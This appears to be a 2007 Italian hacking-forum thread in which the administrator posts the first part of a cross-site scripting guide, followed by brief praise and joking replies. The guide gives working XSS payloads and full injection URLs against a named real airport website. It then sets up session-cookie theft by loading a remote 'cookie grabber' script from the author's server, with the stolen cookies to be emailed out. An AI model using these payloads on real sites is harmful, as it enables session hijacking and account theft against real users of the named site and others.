Current time: 09-02-2010, 01:50 PM | Shoutbox Hello There, Guest! (LoginRegister)


Post Reply  Post Thread 
Pages (2): « First [1] 2 Next > Last »
1 Votes - 5 Average   Guida XSS - 1a Parte
Author Message
Langy
Administrator
*******


Posts: 8.451
Group: Administrators
Joined: Sep 2007
Status: Offline
Reputation: 10
Post: #1
Guida XSS - 1a Parte

Guida XSS - 1a Parte

-------------------------------
Autore: Langy
Data: 6-09-2007
Copyright: http://www.googlebig.com

-------------------------------

Link utili:
http://www.gnucitizen.org/xssdb/application.htm (Attack Database)
http://www.xssed.com (Mirror Archive of Vulnerable Websites)
http://ha.ckers.org/xss.html (XSS Cheat sheet)
http://software.graflex.org/dexss/ (Removing JavaScript from HTML)

http://en.wikipedia.org/wiki/Cross-site_scripting

-------------------------------

Trovare un sito vulnerabile a xss non e' molto difficile.
Nella maggiorparte dei casi si trova scrivendo nel campo di ricerca:

PHP Code:
"><script>alert('prova');</script> 


questo script non fa altro che inviare un alert a video, se l'alert viene visualizzato vuol dire che lo script viene preso in pasto dal sito.

a questo punto proviamo a scrivere

PHP Code:
"><script>alert('document.cookie');</script> oppure
"
><script>alert(document.cookie);</script> 


se questa xss funziona sul sito vittima vedremo comparire a video l'alert con all'interno il nostro cookie della sessione del sito.


In alternativa se dovesse non funzionare basta controllare l'url e vedere come viene generata:

- ESEMPIO PRATICO:

L'ultima xss che ho scoperta e' sul sito dell'aeroporto di Puglia:

http://www.seap-puglia.it/

se proviamo a cercare "><script>alert('prova');</script> non succede niente.
Ora pero' analizziamo l'url:

PHP Code:
http://www.seap-puglia.it/default.asp?rif=1&tiporicerca=2&strRicerca1=
%22%3E%3Cscript%3Ealert('prova');%3C/script%3E&strRicerca2=
&
strRicerca3=&sel1=AND&sel2=AND&RicInt1=1&RicInt2=0&RicInt3=


troviamo la variabile che rende possibile la ricerca, in questo caso e': strRicerca1

quindi applichiamo l'alert direttamente dopo questa variabile:

PHP Code:
http://www.seap-puglia.it/default.asp?rif=1&tiporicerca=2&
strRicerca1="><script>alert('prova');</script> 


vedremo per magia comparire l'alert.

ora proviamo a scrivere:

PHP Code:
http://www.seap-puglia.it/default.asp?rif=1&tiporicerca=2&str
Ricerca1="><script>alert(document.cookie);</script> 


Perfetto! Vediamo il nostro cookie!

A questo punto ci serve sapere i cookie della vittima e quindi entra in gioco un cookie grabber che altro non e' che uno script che risiedera' sul nostro

server e che includeremo nell'url del sito vulnerabile per farci inviare i cookie direttamente dalla vittima :D

Per includere un file con javascript possiamo scrivere così

PHP Code:
"><script src="http://www.googlebig.com/cookiescript.js"></script> 


All'interno del file cookiescript.js ci scriveremo in codice che visualizza il cookie e ce lo invia per email.

Questo verra' illustrato nella seconda parte della guida.

La seguente guida puo' essere utilizzata liberamente su qualsiasi sito includendo senza modifiche il copyright.

Vai alla 2a Parte della Guida


"There is no patch for human stupidity" - K. D. M.

This post was last modified: 19-12-2007 09:11 PM by Langy.

unknown browser unknown system
Browser e O.S.: 
07-09-2007 12:00 AM
Visit this user's website Find all posts by this user Quote this message in a reply
gube92
Moderator
****


Posts: 86
Group: Moderators
Joined: Sep 2007
Status: Offline
Reputation: 1
Post: #2
RE: Guida XSS - 1a Parte

questa guida mi si rivelerà molto utile visto ke sn sullo studio delle XSS,cmq bellissima guida..


le mie idee contrasteranno la tua conoscenza.
unknown browser unknown system
Browser e O.S.: 
07-09-2007 12:51 AM
Find all posts by this user Quote this message in a reply
LadyViolet
Banned


Posts: 60
Group: Banned
Joined: Sep 2007
Status: Offline
Post: #3
RE: Guida XSS - 1a Parte

Bene bene il nostro Admin. inizia a dispensare il suo sapere!
Bravo ;)

unknown browser unknown system
Browser e O.S.: 
07-09-2007 01:26 AM
Find all posts by this user Quote this message in a reply
gube92
Moderator
****


Posts: 86
Group: Moderators
Joined: Sep 2007
Status: Offline
Reputation: 1
Post: #4
RE: Guida XSS - 1a Parte

eh ma langy ci sa...sa tante cose sui pc,per ora lo ritengo il mio maestro! X°°D


le mie idee contrasteranno la tua conoscenza.
unknown browser unknown system
Browser e O.S.: 
07-09-2007 01:29 AM
Find all posts by this user Quote this message in a reply
Langy
Administrator
*******


Posts: 8.451
Group: Administrators
Joined: Sep 2007
Status: Offline
Reputation: 10
Post: #5
RE: Guida XSS - 1a Parte

bhe, ora non esageriamo, il vero maestro è solo Gooooogle :]


"There is no patch for human stupidity" - K. D. M.

This post was last modified: 07-09-2007 05:54 AM by Langy.

unknown browser unknown system
Browser e O.S.: 
07-09-2007 05:54 AM
Visit this user's website Find all posts by this user Quote this message in a reply
Berga
GB - Junior Member
**


Posts: 29
Group: Registered
Joined: Sep 2007
Status: Offline
Reputation: 1
Post: #6
RE: Guida XSS - 1a Parte

google puzza xD

unknown browser unknown system
Browser e O.S.: 
07-09-2007 09:24 AM
Find all posts by this user Quote this message in a reply
gube92
Moderator
****


Posts: 86
Group: Moderators
Joined: Sep 2007
Status: Offline
Reputation: 1
Post: #7
RE: Guida XSS - 1a Parte

X°°D no in quanto dice langy con google si possono fare un casino di cose,per ora sto cercando di apprendere in che modo O.O


le mie idee contrasteranno la tua conoscenza.
unknown browser unknown system
Browser e O.S.: 
07-09-2007 12:55 PM
Find all posts by this user Quote this message in a reply
Manuel_Comnenus
GB - Member
***


Posts: 61
Group: Registered
Joined: Sep 2007
Status: Offline
Reputation: 1
Post: #8
RE: Guida XSS - 1a Parte

Prova a mettere davanti alle tue frasi: Confucio dice...

unknown browser unknown system
Browser e O.S.: 
07-09-2007 01:25 PM
Visit this user's website Find all posts by this user Quote this message in a reply
Berga
GB - Junior Member
**


Posts: 29
Group: Registered
Joined: Sep 2007
Status: Offline
Reputation: 1
Post: #9
RE: Guida XSS - 1a Parte

Manuel_Comnenus Wrote:
Prova a mettere davanti alle tue frasi: Confucio dice...


spiegami a cosa serve questa frase!!!

unknown browser unknown system
Browser e O.S.: 
07-09-2007 01:45 PM
Find all posts by this user Quote this message in a reply
Manuel_Comnenus
GB - Member
***


Posts: 61
Group: Registered
Joined: Sep 2007
Status: Offline
Reputation: 1
Post: #10
RE: Guida XSS - 1a Parte

era una battuta "-.- che poco spirito che hai... XD

unknown browser unknown system
Browser e O.S.: 
07-09-2007 01:57 PM
Visit this user's website Find all posts by this user Quote this message in a reply
Pages (2): « First [1] 2 Next > Last »
Post Reply  Post Thread 

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  Guida XSS - 3a Parte - Modelli Js Langy 6 1.929 01-11-2008 07:06 PM
Last Post: xados
  Guida Completa alla vulnerabilita' XSS N3t.Sh4rk 6 1.316 25-03-2008 10:15 PM
Last Post: N3t.Sh4rk
  Guida XSS - 4a Parte - La soluzione alle xss Langy 0 1.258 19-02-2008 06:34 PM
Last Post: Langy
  Guida XSS - 2a Parte Langy 0 1.651 11-09-2007 09:38 AM
Last Post: Langy

View a Printable Version
Send this Thread to a Friend
Subscribe to this Thread | Add Thread to Favorites